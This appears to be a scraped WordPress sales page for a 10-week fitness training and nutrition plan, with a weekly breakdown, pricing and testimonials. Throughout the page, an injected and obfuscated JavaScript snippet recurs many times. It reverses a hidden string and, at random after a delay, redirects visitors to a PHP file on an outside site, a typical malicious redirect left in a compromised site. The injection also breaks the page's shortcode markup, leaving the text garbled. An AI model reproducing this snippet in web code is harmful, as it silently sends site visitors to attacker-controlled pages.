) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”15%” bottom_padding=”11%” color_overlay=”#3d3d3d” overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]

GOLIATH PLAN

10 WEEKS OF TRAINING AND NUTRITION.

href="#" data-color-override="false" data-hover-color-override="false" data-hover-text-color-override="#fff">Button Text) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}ton_style=”regular” button_color_2=”Accent-Color” icon_family=”default_arrow” url=”/product/the-goliath-plan/” text=”AVAILABLE NOW” margin_top=”20″]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” overlay_strength=”0.3″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”The Goliath Plan is a comprehensive training and nutrition plan detailed with every workout, every exercise, rep, every meal, how to make it, and exactly what to shop for.
Goliath walks you through each day over the entire 10 weeks!” font_container=”tag:h3|text_align:center” use_theme_fonts=”yes”]
[vc_custom_heading text=”Designed by 20-time cover model, author, and fitness professional GREGG AVEDON, where he teaches you everything you need to know about eating healthy and building muscle.” font_container=”tag:h3|text_align:center” use_theme_fonts=”yes”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom” shape_type=””]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” overlay_strength=”0.3″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”HERE’S WHAT YOU GET:” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536049193893{padding-right: 10% !important;padding-left: 10% !important;}”]“I created the Goliath Plan about 8 years ago with the singular goal of putting together an advanced training and nutrition plan that is tough, fun, motivating and inspiring. Since then, I’ve gone through the 10-week Goliath Plan several times myself and with a few of my best clients, and it changed everything!”  – Gregg Avedon

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”THE FULL GOLIATH PLAN” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536049444909{padding-right: 10% !important;padding-left: 10% !important;}”]You get the complete 10-week GOLIATH PLAN illustrating the exact protocol for every single day of training and nutrition.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”60 WORKOUTS” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536373664810{padding-right: 10% !important;padding-left: 10% !important;}”]These workouts are tough. They’re designed to be challenging, and the only thing closer would be training one-on-one with Gregg Avedon.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”SUPPLEMENT STACKS” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536049671173{padding-right: 10% !important;padding-left: 10% !important;}”]You get supplement recommendations that are the exact supplements Gregg uses and they coincide with the 10-week GOLIATH PLAN.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”140 EXERCISE VIDEOS” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536050958724{padding-right: 10% !important;padding-left: 10% !important;}”]Let’s say you’re in the gym in the middle of a workout and you don’t know what a particular movement is. No worries, grab your mobile device and Gregg is right there with you in the gym to demo it in less than 30 sec.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”MUSCLE FOOD” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536051183208{padding-right: 10% !important;padding-left: 10% !important;}”]You get 10-weeks of nutrition plans laid out in detail for each day on GOLIATH. And they progress right along with the workouts. The food is easy to prep and tastes great.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” class=”mouseColor” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”WEEKLY GROCERY LISTS” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536051234314{padding-right: 10% !important;padding-left: 10% !important;}”]The weekly grocery lists take the guesswork out of wandering up and down the grocery isles wondering what the heck to buy. Simple, concise and a time saver!

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top_padding=”5%” bottom_padding=”5%” color_overlay=”#272727″ overlay_strength=”0.8″ shape_divider_position=”bottom” shape_type=””]
[vc_custom_heading text=”GOLIATH PLAN BREAKDOWN” font_container=”tag:h2|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536182588728{padding-right: 10% !important;padding-left: 10% !important;}”]Here’s an overview of the Goliath Plan chapter by chapter. Don’t miss out on this awesome content!

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WEEK 1: THE FLUSH

STRATEGY: You’ll train 6 days in week 1, with higher volume, higher reps, and moderate weight. This is done in conjunction with the specifically designed nutrition plan.

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WEEK 2: REGENERATION

STRATEGY: You’ll train 3 days this week, using heavy weight with moderate volume. We’ll also increase the protein and maintain moderate healthy fats while including fibrous carbs.

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WEEK 3: ANABOLIC PRIMER

STRATEGY: You’ll train 6 days this week. Each body part will include one heavy day and one medium-heavy day. The protein intake is higher with moderate healthy fats and fibrous carbs. The best part – you’ll get 2 relaxed days added this week!

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WEEK 4: ANABOLIC ZONE

STRATEGY: You’re gonna train 6 days this week, doing 1 body part per day. Here you’ll start with compound multi-joint movements and finish with isolation movements. High protein intake is the name of the game, while maintaining moderate healthy fats and fibrous carbs.

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WEEK 5: GROWTH PHASE

STRATEGY: You’ll train 5 days this week along with 2 cardio days. Here we implement the “staging” method that includes compound multi-joint movements with drop sets, split sets, supersets, quicksets, or 21’s, and finishes with isolations.

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WEEK 6: LEAN AND MEAN

STRATEGY: With 6 days of training, you’ll go crazy high volume the first 3 days, and cut the volume by 50% on the last 3 days. It’s high-intensity training with traditional rep ranges. Along with that, you’ll take in slightly lower calories and maintain a tight nutrition protocol.

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WEEK 7: MASS BUILDER

STRATEGY:  Week 7 brings another solid 6 day training week. Here you’re going to alternate high volume and lower volume high-intensity training with traditional rep ranges. Again, you’ll concentrate on slightly lower calories and taking in super clean foods.

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WEEK 8: FREAK WEEK

STRATEGY: This week you’ll be hitting the gym 6 days again while implementing the “staging” method (like we did in week 5). This includes compound multi-joint movements with drop sets, split sets, supersets, quicksets, or 21’s, and finishes with isolations. The nutrition remains clean and consistent.

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WEEK 9: FREAKSHOW

STRATEGY: With a name like Freakshow you better hit the gym nothing less than 6 days this week! The first 3 days are high volume – last 3 days lower volume, and everything is high-intensity training. The nutrition will remain consistent to the previous weeks to keep the momentum going.

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WEEK 10: FREAKFEST

STRATEGY: You gotta finish strong, so of course the training protocol will stay at 6 days in week 10! Freakfest brings back into the mix the “staging” method! Compound multi-joint movements with set techniques and isolation movements added. You’ll also maintain slightly lower calories while still taking in higher protein to finish this final week.

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[vc_custom_heading text=”GET IT NOW FOR” font_container=”tag:h2|text_align:center|color:%23000000″ use_theme_fonts=”yes” css=”.vc_custom_1559835235917{margin-top: 40px !important;}”]
<”h1″>”$179.95″
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[vc_custom_heading text=”TRY THE SAMPLE PACK” font_container=”tag:h2|text_align:center|color:%23000000″ use_theme_fonts=”yes” css=”.vc_custom_1559836287359{margin-top: 40px !important;}”]
<”h1″>”FREE”
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Goliath Plan YouTube Channel is a great resource for any of the exercises within the Goliath Plan. If you don’t know what a particular exercise is, grab your mobile device, open YouTube and go to the Goliath Plan page—it’s all there!

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) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1536373729344{padding-left: 5% !important;}”]“Goliath will take your training and nutrition to a whole new level.” – Gregg Avedon

CLICK BELOW TO PURCHASE THE GOLIATH PLAN AND OUR BONUS PLAN ADD-ONS.

href="#" data-color-override="false" data-hover-color-override="false" data-hover-text-color-override="#fff">Button Text) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}ton_style=”regular” button_color_2=”Accent-Color” icon_family=”none” el_class=”marginFiveLeft” text=”GET STARTED NOW” url=”/product/the-goliath-plan/”]
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tom_heading”>TESTIMONIALS

CLICK TO READ THEIR FULL STORY

”Danny

”Danny

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to pack on pure lean muscle in just 10-weeks. Even better, I continue to follow the Goliath principals which has taken my training to an entirely new level. Good luck and train hard!'”]
”David

”David

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to take on the Goliath Plan I was 10-weeks out from getting married and put on so much muscle I had to have my tux reordered right before the wedding! What an amazing program. It packed on muscle as I lost fat. The eating plan is so thought out, easy to follow, organized, and the way Goliath ties in the workouts with the meal plan is like none other. If you’ve had enough of working out so hard without seeing significant gains, Goliath Plan is your answer. It’s proven to work.'”]
”Joe

”Joe

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to not only achieve incredible results in 10-weeks, but kept it going to make even greater gains. Goliath will definitely challenge you, and if you’re willing to put in the work and dedication, you’ll get sick results!”]
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About GREGG AVEDON